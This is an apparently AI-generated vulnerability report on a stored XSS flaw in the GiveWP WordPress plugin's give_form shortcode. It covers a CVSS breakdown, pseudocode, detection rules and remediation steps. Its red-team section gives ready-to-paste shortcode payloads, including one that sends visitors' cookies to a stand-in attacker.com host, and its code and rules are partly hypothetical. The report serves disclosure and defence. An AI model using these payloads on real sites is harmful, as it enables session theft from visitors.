CVE-2024-3714

Executive Summary

CVE-2024-3714 is a Stored Cross-Site Scripting (XSS) vulnerability in the GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress. The flaw resides in the plugin's give_form shortcode when used with a legacy form. Due to insufficient input sanitization and output escaping on user-supplied attributes, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. These scripts execute whenever a user accesses the compromised page, potentially leading to session hijacking, defacement, or redirection to malicious sites. The vulnerability affects all versions up to and including 3.10.0. As of this report, no official patch has been released, and no public exploit code is available.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress ecosystem and the GiveWP plugin. It does not affect the underlying web server (Apache/Nginx) or PHP runtime. The attack vector relies on WordPress user roles and the plugin's shortcode rendering logic.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Requires contributor-level access or higher.
• User Interaction (UI): None – The attack does not require user interaction to be triggered.
• Scope (S): Changed – The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited modification of data possible.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely used donation plugin (handling financial transactions and user data) elevates the risk. An attacker could steal session cookies, defraud donors, or pivot to more severe attacks.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) in the give_form shortcode. The shortcode is used to embed donation forms into WordPress pages and posts. When a legacy form is specified, the plugin fails to properly sanitize and escape user-supplied attributes (e.g., id, show_title, show_goal, etc.). An authenticated user with contributor-level access can craft a shortcode like:

[give_form id="123" show_title="true" show_goal="<script>alert('XSS')</script>"]

The malicious script is stored in the WordPress database (post content) and executed in the browser of any user viewing the page. The lack of output escaping on the show_goal attribute allows the injection.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a post/page and inserts the malicious shortcode.
3. The shortcode is processed by GiveWP, and the unsanitized attribute is rendered as HTML.
4. Any visitor (including administrators) triggers the XSS payload upon page load.

Vulnerable vs. Patched Code

Vulnerable Code (GiveWP <= 3.10.0): The shortcode handler likely uses shortcode_atts() and then directly echoes the attribute without escaping. Example (pseudocode):

function give_form_shortcode($atts) {
    $atts = shortcode_atts(array(
        'id' => '',
        'show_title' => 'true',
        'show_goal' => 'true',
    ), $atts);
    // Direct output without escaping
    echo '<div class="give-form" data-goal="' . $atts['show_goal'] . '">';
    // ...
}

Patched Code (Hypothetical): The fix would involve escaping the attribute value using esc_attr():

function give_form_shortcode($atts) {
    $atts = shortcode_atts(array(
        'id' => '',
        'show_title' => 'true',
        'show_goal' => 'true',
    ), $atts);
    // Properly escape output
    echo '<div class="give-form" data-goal="' . esc_attr($atts['show_goal']) . '">';
    // ...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with GiveWP plugin <= 3.10.0.
• User account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Posts > Add New.
3. In the content editor, insert the following shortcode:

   [give_form id="1" show_title="true" show_goal="<script>alert(document.cookie)</script>"]
   

   (Replace id="1" with a valid legacy form ID.)
4. Publish the post.
5. Any user visiting the post will see an alert with their cookies.

Advanced Payload:

[give_form id="1" show_title="true" show_goal="<img src=x onerror=this.src='http://attacker.com/steal?c='+document.cookie>"]

Note: No public exploit code is available. The above is a proof-of-concept.

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing the give_form shortcode with suspicious attributes (e.g., <script>, <img onerror=, onload=, etc.).
• Use WAF rules to block requests containing XSS patterns in shortcode attributes.
• Review user activity logs for unusual shortcode usage by contributor-level users.

Prevention:

• Disable the give_form shortcode for non-admin users via a custom plugin or WordPress filter.
• Apply input validation on the server side to reject shortcodes with HTML/JavaScript.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File-based IOCs:

  • Presence of posts/pages containing [give_form with unescaped HTML/JavaScript in attributes.
  • Modified wp_posts table entries with post_content containing malicious shortcodes.

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains from the WordPress server (e.g., for cookie exfiltration).
  • Suspicious POST requests to wp-admin/admin-ajax.php or wp-admin/post.php with shortcode payloads.

• Log-based IOCs:

  • WordPress debug log entries showing shortcode parsing errors or warnings.
  • Web server access logs with requests containing give_form and encoded XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2024_3714_GiveWP_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in GiveWP shortcode attributes"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3714"
        severity = "medium"
    strings:
        $shortcode = /\[give_form[^\]]*?show_goal\s*=\s*["'][^"']*?(<script|<img|<svg|<iframe|onerror|onload|onclick|alert|prompt|eval|fromCharCode)[^"']*?["']/i
        $xss_payload = /(<script[^>]*>|<img[^>]+onerror|<svg[^>]+onload|<iframe[^>]+src=javascript)/i
    condition:
        $shortcode or $xss_payload
}

Sigma Rule

title: CVE-2024-3714 GiveWP Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in GiveWP shortcode attributes
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/wp-admin/post.php'
            - '/wp-admin/admin-ajax.php'
        cs-uri-query|contains:
            - 'give_form'
            - 'show_goal'
        cs-uri-query|re:
            - '(<script|<img|<svg|<iframe|onerror|onload|onclick|alert|prompt|eval|fromCharCode)'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with non-malicious attributes
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3714 GiveWP Stored XSS Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"give_form"; http_client_body; pcre:"/(<script|<img|<svg|<iframe|onerror|onload|onclick|alert|prompt|eval|fromCharCode)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the give_form shortcode for non-admin users by adding the following code to your theme's functions.php or a custom plugin:

   add_shortcode('give_form', '__return_false');
   

   (Note: This will break all GiveWP forms on the site. Use with caution.)
2. Restrict contributor-level access to only trusted users. Consider downgrading contributors to subscribers if they do not need to create content.
3. Apply a Web Application Firewall (WAF) rule to block requests containing XSS patterns in shortcode attributes.

Long-term Fix:

• Monitor the GiveWP plugin repository for an official patch. Once released, update to the patched version immediately.
• If no patch is forthcoming, consider migrating to an alternative donation plugin.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.